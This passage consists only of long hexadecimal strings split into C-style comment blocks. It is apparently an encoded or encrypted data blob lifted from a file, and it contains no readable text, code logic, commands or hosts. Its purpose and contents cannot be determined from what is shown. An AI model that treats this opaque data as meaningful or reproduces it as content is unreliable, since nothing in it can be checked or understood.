10d4c6fdc1619f5437ba1bcee8c2e45ee36be3c7222e1975bd48282e2022f6c8307cc38ab65cc9cefbb26c06d98017c498cc15b2b84f6c69d0d11efd065340cdcf47730f0caf71bde38c41cde8ca08b69e566d9b0bba526506ec4fce413ce93b1474e6b536a32318d5c716cecfc318163701555f4aaa1199a015669f3db856f136c195e48c648723942ca3c5a61b092ac040c88e9e997ca80ba5de50ef8f782d4f8712bd2f68a4eab112b44da06dd583c4d497f47029ccfda93db849b4eae1d4e94d16a2e824be81f35f49d3406e134fad066f58f53828a83008d07632c5da5ad865f32b7d501f91b4f3cde0000165e3cb1b7caec1efa916e9ca540988d2b309ff2730ac86fc21c918ec2a865c50909faf769b4427413ea65b32aaf6677b59553839d8b1a548c1d5e3ea90834b3b00774e1410c9a8096025b43aa68ec7a9c01ec5c5cdb40969988ec3d6556e679db5cdc98823f47ed39caef8702a070dcc19544468d0a3a3a400acea27d187ff1ed51773754d5415e2251337752410c80211ae16a294a9605f78269c026d9ba2fc7ea609fa492bbb46b647269c494252404535f7f427db45d12e3a4463c60b48c307a2566dacbda0a62ed3fe4ed2dcb894b8989c78381a30e0f84b23089488be2eecf48a60ca38f3edcc1ed0d6fc81d4fcab64d4e245e04b6a310a68703249229504ac59fa8b8ea02195654d2d7c67443c284f52f104b3f0a7fd92f61ac97ae6fa9c88407562ce697b773fc96e5575a42cc19b6b270b85d7da4652bcbc8e90704e7f5762def3c6a52e29e21e6a2b2040755210be27d709746b06808863cbb66803e088cd45eb40bd0831caa44fe7a9fa22abb2f8f3db5e2d7c538d070c74cd85b4980122863ee70a40175d79c0709a0827599da86c6220e3711e94f2add0d396131250ddef1c0d7ffefa4c3c350d115e304573ec77b308d5eed49e227cc8bb30e9376ea161592b6e00842d8d4b94e241d495b9977f931d3716cb886c73eecfa89cf896505c3fb3659cf41c2170281f266b09cce4f81d7bc7e686783b5fb1c156d167cf057b536a7e444ed615b39cdedb8946e61c4412ba6da94190edf661eb304267b29ef525ee12c11d13b733d610c26d0c36508eeeba74602e15a046e4505469a46371415cbe040dc3ec448f085064d07cc18d2c4c59833d3402d2c641aaee64a4d3a578d7e2ec43510bf469e7df73383d49fa5609497e69d94500d10232ee13ab509b0baf85fd53e77a1f65957981200a65d79ac800ad6be179cc4f2151886a28966badfeccaa19f89718a*/
/*2e4de3135bb74de186984d2bebe0f65d8a0399998ceba52aedad0614ad7cf9d80fb11af4e4b8984117b1522bdf2eafe7df1aedf05a4a6a0989650ab20fe530b590b6315196c2257f6baf3fd42d29a62b24d8167d9fa433696952b2da503849615610547c034948a13a04406346d09d9212056dd384ffa2b2fc2689b555f61ce6abdfd2f9e98823f167772c9701bad3c21d68e501120aca1fb1e6aaddc78e1f397d1d9b36fb89afa3f555b4d9ab47138cc3e0c4b2282144b8602d3f4bbdcd6a1c281ea28324b36ee70fea20facc56da8a4f3a86416053eccea3e508bc18d592d7f3bee4702050e08cfb908cc1775372c5bce9f0cd85aa51e26d99db1bb4453a87fbe8f90e75c40072b9dde79db665c7b73206bb746beb4c8d7945856bae4333a4042c9d1e65588a06be42479916236e73cb15b88681e4838e213e178a90c9df267a01762576df43b550559933e9c482d11748126ce5c0ee06d07f15467b0d2900d5f0ba4904406c2fd6dc01d73c665afa6b8d4d1dfbc33cf4cb7c1e296090d749594f98cf46bf3ff860ae8cbe6888e732e1242678e8b30dabab82f67f5eb639ce95e2d2b90b7f8f9192ac7b826f524aecae25c22f6549e404863179f44491dc3f466752f6dc4ccf8522afbb41e03ccfecb7eec942f09db0d8a472b9f7f79b9cf0c47f27bf5dbc100eb56d13b012731d8e83c80e343225cb7afe33055103eb2251a875348c6a8c88e55dd743751c32d44a7aff0c5e62d465d63f8a0f05034238e6cc5947c28056980488df679acd73169b8b4fbd19a7252390fd5711ca510da7e06c81947c09ab40079e6f31ec98ef54e46b0a9dfb86af778162a538079fd7239f462f92c991c841773846cdfd119d3bc19ce1b5f27ab8a411a72f4bb63a6547511b5dac49fc8050db762da92a1bff4def9097bf7d18503ab952f6a154bd294ac85c50c41ba46163c35e591059f0ef46202ae4cbac32152780a6f6f453cddfb7f48f92bffa563529a117c2744e28988eec5dc2b919288802e416f06fbcd3574e2ca44d42a4233c642da3c6cf54ff5002d28225c774bf3fcc56ab6c2d4dd26c60a8af2101c9fa0eb5c3eb5fb4c5bd0e0719db4ced99d40aa454eb67065e0923060a2f16246be44139c343c76e30c131e526e7c8d2cff8f8dde0a88ab32561e0ee34cef2fa9ac67808b9b2d7703da9f7199112f18dc21cd2fba66ba1c81b2d176de5929915981e06713d566501c5d1b21e385e3a925f77c794a5f9a54358365331429506888d095e292c55b8e5c060bf1f84dc1dfb0d244c9dbd18b482f41cbfb7e926934cdce01548508dc4a197e472f4942e7206624ee972c4db9e5c9ba39bb89d1e2f4764ebc4c52254bfe67c8753346eb4175885f59d76be4ffeeef3e834953bc839906a50268ae7b991bdc233c3538692d2ef66014b97c0f2005312c82a115df89850983a7abfd5f34bf6471c41ba32bd99e34bd81c6aa35b2d669663260474543a4f6503fdfb2d7b0cdb6ead23d8a93754a5c504fc2f9fc6d936347fb9497a2d946da9d614e5707292a8d8252943d9aa0d5e22ec2ec0915b35fae19a328a0a7945bc74a64bf43680b54d9d90c006f2ae8292b7ad70997594f0e5997c2b802b6d8640e1a13ff51daddbf6b0680a4ca351874878dc9678ac0768ca53af76d62746222b029a750ec567a0f94b2af7f2f901bbdd07dcb8a3925e53b9154a69500d33dbd8797377d513df7b5f7c36c53789dd8908de0f6c77fc26756578dbed3d1f41c57a7397ad91f1aee0802493d6390d7f5bb00fa2e870e6db946531bc4d686f429472ae24b98e9f3a9b7e6240924aacea852a02481d55d858979e4f1fd21c3aa3e7fe7c06f5ac9515c25f70d3ad99d516c23cf36c3779561e3d129aaec1e54c39b8674c7c5f0472aa193b3fa50ffc31291ee675a2c254f8a8e028cc4af40ca3914d7a9dbbab15197a613695aa08dbd90e3fcf4a5bf41603e32928b2b8aab8b7924f08e3ab47a10931a6496ac750696b7a51fb2554a48d4ab3c503a32f4a81f8acbcc0bacab8a8014a89cb35bf3d92b8eda4737d6a589fa82fcb50e7a23de87c44d2192b532fa896500b8df5358a672dd65ec31c739694f49bcdad698dc11dc3197af00cbe9fd7a3d6e3a5620f7f281d4b16efefc66f2cd91cf30c3d1fb1829ec5ee22284a58da71fff21dfe30e86fa52f0ade872c773a9b77afc446851efc1ce3c4e909c6024e0aa5b6585e33caf52b7639875b76a998b3a6d27a6c4f45958166280fa5ce041b2aafedddd564740c3c92df4d8e19353038e77d714f04620065c94e4159809b78a4535935d935ea43ab44875646b38112a2715503ade9066adb4cfd30c6955399e32dce9c8ddd3e213c2eb2d831fa17b2316e69605da29a58d68ad63f468a86de055854f1c05dd7938b3c9cc25498d54f411b704d928447a8223ed2dd058cb3d6886d1b32b512c12b9f9e6b61b99102361c5de85d84e9139679c4b2669dfd6e1558aafd7ab2ae2753e9a3c9bff8ba4586a984273f833bbdab1a0c5ba41a7e994f3189b0a6e588dd83b5c216304198e2b188c6cefe5d6a13bd2ebc90483532e96ce7c4dd3768faafa4a4cd6a7a2aecb9c25f97b794da950db1f37abbf275cb21ee610438e0ff36668b9dea3b2c4d03eab8e0a78f82c9c8de370b7c9a692a7eda343c46cfca016fc79d6ea19c2bb4a974cfbd31b0d8daa7a676e68edb4a62813160dd7d298169ae5d623e773457f314d94298dcaafa851d4df3ccf07d871329b3cb0185e55d243ed9d4ce8967ddca27ea77719d5d3d76eacd7805c9734edc1dc51a1f8da182922bd00a12*/
/*2a1c6f411f94fca24714296e3dfdcc2e17d2da496e9b324f6cbe958a1d7996c4daa107ec30b3aa39ed17e0e90cd75b7118de4d9df32ad96c7966f20040862b4971e02375f9799559881a9566319c92cbe3ce026654f8c56884d0f0010ca5245036c5dd5e170fd336ad086d5a45482f9dc35453ba306ab1487c42d48fc9e850d03def0d0ea051a4a5a277f59c4fe569132767793a23806104ebbc61fcbe6b95daba04c4afd92e938e4e0a1ea5a73185f551d3301a019b982eba642da86d8ead23ce655b4097e30385dd921e247ca86898a145655b487a9125610df2d9e173f3fd5fc4fc9f6cadf1c307707da7232c537502402e56b628b5fcd58e6921597f7ebc88a2040dc7dfbeb8b3cc36e0e9981b4f2b5aab0ffeea742e23e019b931a24d003e53457f0b939a5c70d01c7675b779db04dce01a68b186fbb6ac8db0e33aa988d24b7ac5d2913d3efa57b8ec3203fba306c41bc04bc48e2945d1b047d81485b3a109ba62977043136c1cdfc047398aacdac7242bd91577d6e4c2e9fa061cffc584a4d82c44ab5251bedcf8e8268d3aa0e755ebaf48e5ff7a73d46fb3e98033836c32fde97f23eda83a84d5829359f231d7712b87d36e0e13ec4db6f6abe89fed27d30501a440f36eb12ff226d92c4af40533a22dd0efc6548cd12ed6aaf93cb0ca135190a01cb1e0852fb75fd28ec844a2bc4cd3396d5c4d304af055fa87059904cce15f1e100429fd9f8c65a2e8071d1940fe65e7ed9b43d7c110e21d21d367730450c546e3378b186c0bac973b732add714d67fde6c78b8c5562eee20e0d45716c1c739142f1929575ec39a3155e2a83c5d057fbc3bba50ed6332572137afa32ff89eee2b0e31abcc83c162eca5264c13fe6a62c7345471550c99482b97215efd60bdec3e388bf6056a47d922798bc47157b621534ced5415da8ae453b747cbd69c312804d91e206c17d9b9824c893cccf9dc86391c127e75533300f8513d0d84c57af2d0727c877b543b90413aef5b4c6b1659c0125863a3ae8f857296d286d05f0d50724c2ad5db5527f30c65d09b687446c11d841e5479588acec96edd49aa8cd961ef65ff29e9cb16ae478458c57b97a7744ceb5a286eac9b945030e2bda039bc38b55d901000c141a298476c78453ae787d119bc46563f2daa98a7f80a08e412d22122565a9974454dbbb314c609261fa9145e1791f2969f9a297a26d105b84dbb83bb5a88390c086c0ae4548641cf16fad22ea21676e857716951eb08179abf6d1806a4ed87d5c469b55c443f1834bf81827c264107c55a1c1def0e6c77fc741644fd2e31e558ae06f062edddc128571021b91054ef89c95c65ee30805ce919ae12fc7dea1847180ef72aebf8305cb614e06058fa840a82f1a721278e385ab09bd51aa8deea686c988c5cd050f1ac58dece06ebdf7969dcdbf29deaaeeac49c12efc1158542e37b2da974cda4926c271210baa203c53be4dc589a9c4673f5e4be25674ec4ec94542109af715805cf3595080a50824c6a138511cb88930d5ad17827b51984a7df82c5176fd5e2c9ba2f9bebb488992383f4e1fb1d309722b0ce33d8d0ff9df72cb8e56150797534d79652794a81716a6386bcd220db135dfee5dd6cdab098d27eb9530c8474aa16ecf9238ef8615821e22bbec0cceb2b363cb81249e63db0ce8e92725bebd2ce4831dff9e55e1ddf6b2833ab8f2d38fe2bbe0f7b694f11d8b4f2228349a3e117c40bf701b4fb692b208f2ddfb00fae6795a5bff32adf5335effd0516f16f6151aa36a702d9db47d7deac6783beac59a511d2297be8f08b0744ed329fca3d98c46b991c5a91076444795d77061adc64cf245a932f42a21d28a4ccb9a56ba67923cafe888f196bedb6f11987de46ca1f5f57a2e7fc1a274ca27bf374d5143fae1375a6262804e384c92713d4b12d8c48f058d0b1dee352782e286461755c9917497603007c404245d69e1d1dc9bf8952bf52081e3064b973248691388080554c755dc0f0b848bbeccd853c9db388299957bb802e03874cbb9fa3d05a545baf602640c0c59d1c613d8b55155411f8b77dd6203fefc190ec7183edd6a3828bb3facba7c06c352e1f064f22a6a77c639e12ef3c9e29bdd278821b7e1aeaf6370f06f610b7f7b2a33903bb1f3821b1ab2f4365ee096a32724599de9130a1a40070c18839d20b6897d681d2b7f8e34f0653e1dabb2aeede11f86991cdc34a9169a54c99483b0d33f06badc5f8b412f2c249aaad2635b2d8a5f0da20996f28aa1e4813d750dba3f61ce76ee0e079c48a1cc5c6f2d7229c46e13da500300a5f6e8082a0ccbc0d828d35ac2566489a85331e95de39f2b0e1490fc86b7cf336a266091bc525500d44db6f2e25efdef3da78bdd66e9aaa0219510db8b3fdc89f93406254ab8b7ee313e2e88c6e5fb22840a8d7e1e52e9b68e088e644cf8a7b1dff494cdb911789bc28f1074bb7cc4be21239772f7a16fd9e87364e16ae095feed38fb5c4dd5539e4477a7d70ff4f539472161cd3b9c76ecc45a4f2fe1af33b75ce35bf38814f9b4e3eda134c654dcf78d3279f442aee6c3827ac77bf1306b94571eda4859ecfcfc0155b5424afa84bad48fae5ce72ddb2cbd61746a299a02aac855ad8b8f34efa4cc50a13473025b443f5b7981d890cf4d588cc8bf4cc3c0613907ca0fe9816db8f2f1fd863c8be2bf6cfbf814a593be8711d6298b2424b5c26f190a8c1c92af2d0ed7d3d283d93438ea2dd6fcf7ed5b01afbd88e523386c9da8aeb9cad26f2f4257420f9a2f8369f0bf86f76ad704bff224248601ace4484f0c95fa4e3377*/
/*2d6d3fe0eab2edc71829dd8b001ca447484047e26f57c66a1d919e7a51811076ffe1a6917b7ed6c56d897b18794650d29ab89aa1916df969cd3f98fdd5c0fdec01da65ceaa7093038f11a9fa0c631a0d4fa399a4b79ea1a864b77328ee3252412badf4962ff55983936974ae338168e7a9f29265b2f5bb92758da23b7ab73b3a0d9e520de2c906d7ed48ee23a7f4fe57a9043ef0efa859056f6f75f35eaaa559df80216042f1750f0065bc785a5a04c19bf6c13a0501c50d80f67c071ccda3fdeee6b5bad25868640ebfb04b8cf4f0e4b99ed04e4f1ef9393e3746c5541dd86d33950ec117d594c3c73a9e4cf3535b4348f805b44e71ad03c5d25b2043713bae539b0452935173dafa7d2020fb267e673c011a7958ae11e2fbd7100bf7130be09c7680126edfa089dba61452ada9126fa3237457f2cf723717c4ad2b5c11c0c914cfb06db4b38c326807adbce21f8b97d38908b9315ed76a364ca9a90b897c0a4880498ff01828907de07620c47d075d84e0a6171515a3b8a6f98f0554c8d3664168c825ffea923cb622d2d00c769b2e915837fbee9dc68d516be6b1e8118134c4a89bc87e18e7bb0ea473988e946bfd0da33ea683f47af5ed0dc4533b29dc4c6be788eb4d03b538eaf4bb06944d7186e480f465e9860728bc69b6947cb8669c745d36d7cb0d8108eb5e3b1746afcd4cc3768859e480a141e5e59e1184dd2fdce831000768fb5c691e6c0f416307b3edc0a3ffc93c0e99b6e4fccfde607f0a08b66ca863a4e200057f6c65059ecf0461c1c559fe1ac3f5280c35ca1516a3d3ece62a73ca92497898c2dd96443eb17492baed44666a79cdf5b9e8838727a5613fa10e523f8a2ac236828976cfc10dce769a2a065eb0e640f81c36adc3c235d54dd97fb71d62f06e4d98fc57b1b78fe76b0d50009c72f67879afd9172d54c8c063253676ba8bd223da744cc6cd743d883ca858a69ce11ac1ddf4b3c49ffe0e0e19d064501acd35e675d0e705c35ec1ab1561c2def4bc159bf3942de498f07cb47b35bdc2af027db25b35e48b6849caad20a3c7e12c7253de4c9d950c9aac424124d15a6860ba811f0699057b047690278af77acce30f896045186229a4a0d61c04757956c9053c0998031eb0491a54aff4d2ec692f75454e8196f52edcdccd6ffb23393c956645070726492e82eac7930340b43b0243f7e773f749b1909f10503c7be3a99cdffb5778a86e50208a1658717db2f2bc4b03337207910946e016f34ab8f96c9e2d85be91ebd96a40762713878a60e6dde90632498e1f1dd1698531505e9637021eecae76ef3bbdd5753f30e15bae10a9893ca5c57a2ad11d5cb3aac28b5d0fa096fac302a03f6768163f3ecf29c6824e5737d22c8269543e843920a7dca879cf852a1350092f67291fcfc7302536ef962be6ae7617b9a0e5a8a1d3a8bbaf6d1d284e6e7df94a05e04f2360171446904111a20b8f5ecc7660e672b23df0679443039d7c71a544f69e7f26029f46255e7c6b90c23c8ada27015747b88a69106579f94ee7ec98f915a1597c12c4744db11285324d063ccfc37199c961b638e398cb139dcd07c588379a7628325bb5be15898fb0a2d563adc52a3116de77fec8b78dd2b1fea518bdb6c7937ae1ba2ee600da63748eda02e73d5dd4078215ceae9c43c92ea5a84240414a1dc6b2bf2305c75f3f9f8ac3e4eb1dd9e3b3bf380dca8da3f5588c9f3c8775191f55c840759f0ac4dfc10569acef677dcd42d1824116200d34d8afbc0b2370b7bac0040e584b98f9dbb6f88997050571962e5272ca21d9acbcd3f0dcc3fab24fe39f9b03c4306def2e76905b9603e9f2a015a296e662b64ccf7a4ab3724138bce4da5cef66e1896fb8477e137d5442fc9d6fe6caa235f83c91b1d241f372a88811a8a37f0ae15c80fc4eeed3c5bcf521e42ddf95973149639988d3949da8e4ddecafa25c14c83bab28876398e40838e92e77cc48c25a7fe1908418cbc434cfd6029840a0f0c00c4be71c5b312db9382a5a18db94463b3e966a7531072a764676bd4327f908974d3a42b28236e83d03221000ec44b8e47dfa3c97a8593a91f13e48f9ce48433d9f0981edf577c2c0dfdeb504277f6815a0cefb288ccc1db398ed63f9b8a497a36f0ac268139a6897da485bdca90b09cbf644f92190db97eaf91be8616da484622526d574f9cc948908784e98d697b5197d99d15a3923cff832316dbff48663001bbb1e45965aa41917d3599898358b49a1877596f18e79ceb937bd79057d6cd26c54b5afe1b41c28556670ef75218b382f0f84e27c1e7554e3e5ce439c584d41b4afa717b62e142cc4c4454d68136534f05cca0cbd5cf46d4b2060bad1d4544fbfdc68a1d7f1ebedb0bd77f4bceeec093193904cdf0f3c018926991623112c0ffa6c29d88729727f93433b6994e546d4c18d03c2bf17eb0242dcf79f6bfc974c621f26d52dc9a1b89d27e00238052e9a072f60fedd191f4d329a232fffc8c00c40673ae9918756ab17cda3a7a95db26cf478af960d97d824840317be0b51f9d6d3caf6afe70fcef385e15e748534a6761e7601ae71138a9ffb588313211b9c1eab726d5aad48c4a78022adb144225ebd376295026d7cdc339b514a0a6b3860f1667247b9ac7cad166cf78dfafbe88f957961a70e919857dd3ef0e219a0cbb977f431cf7ec1b17f3231d17b76470587a2002ef3c121297f782e2d1ebefb06dd5476d0af9272ed015f5df15c77fe944d9760629bae45ed3dde4093519ce1315b1272483ee91911083cfbfc20ff07a91142e518f9088047f25f249ac2dabcf4*/
/*63a6a1f578adae31b0035247275ed8cbe4e486ca0a08813752050ba8c0509f7fa858aa760f765a1c1dc8c38fbc30d4f34552689204c7dbdd4add6121bbae598fa2c839496a85881f537bfd357f666ab2e04d31a0cdaefc60618ecd08eca453a7eacc41ec5e430dce3417419d3f399768139431635126e6353470ae0d399f141eb59cb9759f623f6f5da04fc5dc512c4d0b05a9fd85e5948d3e026aa1bd03a715f75353bd7bb0c9b82510b30b6ee2cd1dddeb2f673be602c6d5a7605ba92418d6be94baa83eab9c22ae119bf8dd826cb571ad687ed8145139ea650965343c9ee588afa50a09cf1924da3bc11accb33b3258f8cc805800429afa81c1039b630616d1f40ba6303c5551425deafff50450b5230b15959257bd2aa4559462f0f0d3e3438c8f53b69e469c73479fe1629211c51d5f0063f715ee1190ee3ef85cc26c15e349af3c57540eb9754b462e84af02db68bf7946d8d978a170bfb67aef8ffeea09d345f65bdec81323fc0e6134d907b18540acdb20e7f783b630ed7fd7a53ab65cc5c144e6745ad1400a0c88912966b24ca943ebf9da3e585f08ce872f37698b69b2962fcd80e33a36185d22420511698e9b8306a1de72ccfcbc4ca662282b256d5c00c58d90d6f348a219b6505a7cc710bb751412f154afcd99f82a84fb44e289cd401706d43987520f93f1f9b017f3bc76e3f7b7920e337ab175bb5b3d76a805171fb355e17d3abf8d1d2a05002d4458bb7bf3f133ae76110c07c11a26a3befb5c4e580c92400aeafcd9beb308ea619fe378a8d86e2677b45780c20291443ba3e85a16e6e558c8574a1a5d468dcb316f20f0ef352245d4067950c588d672f8cf81769ff67515188053e7d2ea09838b7d029cf3044c78d8fde885c5546b5954f3da83983fd65b7a03ba8b0d818c7a38c201d7a847b3351903e86fd57b6207e19ff0f77be3c7761c52f44dac4b7448d082f4f2868cccdb5d824d687a9c04d27c83f008dc9bd3b238770463afe635f02d1838ec849f2f1fdbe5998654153704a1513bd39aa5ed83094e9fd39ae9fa64dcbf5273617dafe12e2fa76d596ab40a2b972845273719d9e20e472d85fb8994961cba022a9f6a1512329952c113d5cb176cc7f3d7e2bbfdda0d61a88704d7edfab59d144721b5c04c9cb71299280336b3418a6c746b623e872a884eff98c654101110f0db7516e7622284d1b0526b65fd5e74073dfc9014abd4ff1c9439343f4312f5fa547203d60f990baae2d92f3738cf2707d1a7f3fb358904c685e325d7e19cda44a19eeadc24859717fff8c264741e72198d1888d41880ba8f7e439cb251e889e7bf95f796b402e272b6770ce5c392595f5ef98e47d136247f26148d00969fc3c44bdf85a8840b68a16b696fccd5e84460e50debac4970901164ccffe6ef49502cb33a6050a8f53723fc73111b8d8ea96f7245056d0b95be04eb8f6765c58bcd221f620d1bacef495d71a587ca25e57938be190f96e50c97e34ef953e0555d1b68f38aa35dd4644d75ad2260fd99f4190b0bab19ca8d8ee1f409ecba9d5453b411166c434c076f6b9f433b0df422bfb52c19137694f7e38e7e5211a298920f2d220017f2a0e5d2d9a73f6b891ee32544cdf914f580dc355459c84ccbbe1a717f0369ab88ee2380a03201763476c06a8d2d3e02b5ac0b538bee714d46d0e29f62f44d69a3a5841e18ab588cda4328fc2528586f551e56ab5007657408203790f889b9f0db704bd2c925de41c45cb476fde71263f8175611b1e63f1b1850bf13f1cbb9a661188c74f487bae18712200efbedad29fe363fc00a8c5d9bb059090c3f9ab960451c694575433703ac58d6d2e49752364c2194123a14ee7fc62e3fa3cd4192dad1c1d465cdadf97ef5366b5bd7403f72838274d072d97eaa50ceccae7bbb708c4de4ab5c62dbd7faae383831d7b1ec4ee313f56aebac1a5125e02e7f55980a14267ced70e2b253fbbdbdaa1f52fe3a11baffa3164f2e7b2ed5dbda4dafeb228da6000909d419caae7278002e8490c587b437248eaa6fb6905513811f8b3674c0225cc76f0bd15dfc0b0e7f5a4ce539c4c1eedce762ab4d02a1c20ea3f7bce81c668e10feba97ea82d2e993f4400bb45f704d8e56bec03170644a94c29a25837e5df00663e6fdccd6ef98c95408bb493922e17ff7fc68be72e937da9657172d2d08e5bdea25da9802de001b1627ae1eb09972c25cda037cfcc33ca16c3b68d944768050cb2231aa9ea3622d07c386520a1a6c1d8a9838f4240f603ab3c1eea91a73279ba27219532119c148bbb787862d0ed633d740c332bf3ad241ad66ee9be60c2d7c8b9c59271a75c856f4ea81da261fbc30dc9820667efb5442a05b8be3863e281d2197420fb532dcb7cabb8ef46804ca42736f3accb93033893f8d1a7cb739cfc6bfc54f36c877f2a23004a58db4c8d596c79cf156f8dbd8f3a6df2802971d223359da8f34c5ba3b7d0096c0ae696ec6929f7b0f688ffdbe458364bd96961cc92a200e394f9d3dcd937971b447c97f4f7d905357dadd55d32ad031e3b0c03319f7b8d5b42338e9f3fb772dab0066f4569d111e6add071002345efd04b123f2ff0c66c27b2523a6faf9ffa95d83258b2ff83efca23518f3545145ccd9b11b5b9084f572c3d13c02428a300ac551d4a5b1787a2ef33909855eab37f381c31b45382e529212a95ac18af4833a877041fa08d6d6d2a966af8cbeaa32ef0dfa290ff27f7c1aa109aa9be76aba3675bb8c938473d0a50ec52eac7dd7ef33c8a54fe6a0a61f7812f454946e030c1c303f60555c57d2fd41a84de1781c*/
/*be4ebc14ae2aaa7c4307045428e7e0681c6b10a4601ab4943f0d314689a07716a63e3738769312eb70aadfbab3c3ebc9dccb869968d3a3b5068652acea15c3de5fca4ed33719f1187d630bde8beea664ef78de69f7dbf8a13ef3f2de7fe4c706fa73e3d305dd960dbb2f98f1e70aa1848e25cdc3582ff4a216500cf04d18bda092e60084869375cf4687acfd36a37f04934cab9724343987a4ed16f744e42a42fea4c9062c54627ad50f40b306ae30f1a3e09802327b56c86f348dd23db731acf63e19a456143964714cd8738934ac43e4b0bd75aae9ca68940af272733360059ad546e6af378c0d925cf5efefa1b2f789d01e06d5b7ae42811f2ffb8691792a7d6ca69978ece143bc94702d588e35a550e633550c60c744d5310a57058f3b9391daa04d0392b9d202d0cb7c896a3db9e72f87bf2fd047c101a9fc06ea5e94ae9d9d8bf02a600e8dca4b4cd10a1cd9acaacfccd95febe48e654b61beab7a2a7af12e7cda0d6f52ebc911ac4dac4a61788122d45e5c9ad269e8c15d8d3d15bdace1f2c394e9d37a34b569518619785daa9e2d211fb7d8635d9ff0351d493ec9f6a416387f9aa876be3ff836634eca621bff66db0ac60666be100cbfc490212b421ac53ab04a1541bc5b2812e1e42128e4f4857b5497e144e108b013bfa05656f6f73e99b5950ad9395c31c12b657f03d93a67bf9ad21274747bbbacb2a7422ef14aa29e8c62a8e2eb4fc8118ae1c23a4d1b65ee2ed1dca99c13713fb212b64c5088e66aa733480360e5e37b719aff86ec1e8b7e021f208d714599f0cb7395fdb5169d0eebafc3d60f584f2a586b2bcf9d7c3fadaf424a7289fdbf8844d3dfae1dd7247eb8d11da1d31071c0e3c91c0dd32f7b651f4a8f78d285b1386d8f2df99992dfcf1c53d067789239f3b139cf255fdb560b4ee8f932144347cdbecfdbd986966c8e2d3df4af2a186b7631df459aec7a912c292515c96b67146a49ca5fed1de2116c7f71281d85ef96fc89324b6f07053ff801bb505c651fe4315686a1178bf70308cd62eda9d41a3ae4c768cb34f28377718eca07a3f05505381ff5f9db56831a155d76bece4dc642412d86aae269324399b25490aec3f6762885ea7b354c53b889db61bed791e82d594851f65c5978994010b737fa3fcd2d84a93b2c52dc6b40a8a1e4e88dcb77cc065f8988076da8f3c87ab3c0ec9b3bb0fef1b98e0ed0e17e8b8a0630fdf28892131db54957ba5396fad42a5bfb772a7f93ba9e9586087c99ea8c517bd5afea0631b4e00c047e1017487414320b8c4fc6832549b2951eeff733d51afd2a48fd16069c059f9819d1d02c65af432e37461e02b5d2f9f36e5d4cdac732309f50251e9a9ef79ac16c692f714abb3c7b67bf3e6db99a3dc5685142107529dcac135100b45475650fa7b39e64fc4f2ba49e9a69054c3570be582c2bcf658b1886da23eba44a7a93920779ba9c53274c252db743e22c1b6aa19d626f339a98780c0325010ad90c22b78f32f2ffa55a6a4b239781567d1db45ace47634aa20ff2b5481f10f839dcc83b3dbfa963242adf2596c9a896031d8057b52e909f83d98c2e918c14c481715557d305b28cb886c52feb873e01b3b146380e16f9b107d3b3cc7420b21b6197a92e5f91017ae5425392d1d6cad99e51e0a64b786919aab5c7a3ef9b95dd711f2b9d6cda77390baace0ee97cf344d86e8a3208ba3256aebe0ec13638d9166e684bceb05c91595aa6cc8ce14a9f93fbadc38e55547f44e1340cabbd3f2280142cebb10692f200568244281352d2744cdc261ab276beb3e56dc64c1585e011c3b0e2d9dd04ca32d22193a7e4608ec3d15cc1309dafa27488b115fb1e037626b8293fd0e7ccbd6cf9bd7fa681b78e73a01879f243eb6fe7d3fd89782c83c9715a1a5e1a6b4bd555b2ab7734ca65350acbff256e4fc54df71414bbc20c856caf29f9e8354597bbb6e3620ab160112d9bb1e8e9c5ccab5a11382638081548a3f191e08adca15b5934d2fef945eb7f83df30eee4bd16eea4921623d5999ff78cb49bbd4813e59f822cf4c6ff5c5aa5b19cb156a62f89f399974df055a40f149c6e1ff10e5e06f464438462112b1eb8731d7d5f4ce33804c1dd6631186d7d957c27373b0e74030bf265f3782290c1b7ae940cd3c108174be536ae51200a706f735459f7f1897f12afa0d597dd005ea615119ca88300899b983744d5eb8bf1c98d8da0cfad78cec9da39b3fff1f5c51719015623a93a4c7c623a67ed8df4d7bd22d17a1a23a9a3a00f3803a8da0fb38d217379d0ef79602624ea196417c23f3c3b6e085431d0783605f5bcb6df5e49372f4341c5080e49b65e255e3b010acb709f2c095aad2e26959eb255a397f136396e0789a26ea3c86e42ce22c26d3aa4a69910dca4626bbec9faa2f6b0753c6bb7b342416472ab3a3b84590aa4b9c7042eaeff318f85c09d304ffb1147dafd5adead2b92818c219f50b8f659bc6ac6e7d0fd27ecd818743a07c646a1cc15df958d872eea2a1fdc93328427fd2598b61254e221962f4efcaa6f2d32f170f8242d59ecc1c950f1f8990f7b479b449b7a7bac5b61b51eb7271cad9210a6bdae89f135e9d547c8f3c491e9be954ac017eb167879c05e2ef442e83e916979da3c9fa7de9db702bfdd91c8c0201027642ef8c482c5eb9d5485c1c11cd4f1732b0eaacc72c392074d77edb6c4d22b14bcb6edb9b7b315ad7a3f7824277987afb98b0a054d723f4f54034c53de048ae3472c75713a5992a1fa462f7d5d45e4d3091f8a12841ab3d1b5882db723087de94a19879324840e049386db62*/
/*34339618b395f4b075de3a3a40fb2b51e9f224c726681a6ad7fc32e2bc1df81c07f909262afa77750fe3192c39c024d9c2c463f44cd7e3ac24aafd87f5616b4c00d2c4392628fc0a4741cd985609c2b7ef73b211dfddc395191afcbf45bfa76bad3448b95912dad8dc68a54235d22504478b02a7f85d3f00fdee76468586e1b7d671f37e184efb575063ee38da9cf6b17cbc1f7c81ff84508af07ce8fd11322163d683ee2ebbe789eb49b167a5b76823aeb4578ecd2acaf324985ad578e92256c838414382b9a32ee4dec71b0cbb1a7e16999e37d5eaf9b44f750d1e404abf0ec72a06def9a516cb0bff2a7e2dfe59a605d1d71eae2eb9c0f7ceb19a4cf9f9876543c3aee420a6bc56ac5ad3f7ab1dbda335c68c1b63c3d1bbc41a3a42cd05e19f60242a860e0ae9949b1384ffc28e08b2905d4f2011c085659e78d7043434e8cce33a918a0fc658894b40759acfedddf7fc828618e83a82c5c192e416ae9203852f8b9116f0e9c195d77f4787927c7619fbf7c174b163a7f63fce86869b023ee07aed8c3f0a6848275e0ce4e7eb65c51ab82705112809b2b263857304c30b8cac9bcc82ce76f66fbdb89bbe801eb018a4414b6ee01f0aef4643f5e9c459aa07f7bfde89f2189f1557f2929834ca23273146558893ffbc4c8bb15bafa1e73955bc19edab8cb235c1f3e21facb08e428c52c2111820ab5aa9f0c230e7b9313051e2135a51e958db84190ad2aca4262c4f19195767a45934c5cad375ab6c5fcdf88285430c5ae949a7d7c96f5e718b944bb57d02a0f14b49d5c7cc96251434867d633fed9bac3d53360684a9bf436877ade098df27c53b5659bfc4919ce285e670f8fe302e5434b24b1945f441966b7a196b97b14ce3f73ba637e4c7cdd8251b1c72aa5b94df3bf384190b969a580e0a80eb1e822a0aeb65f22ae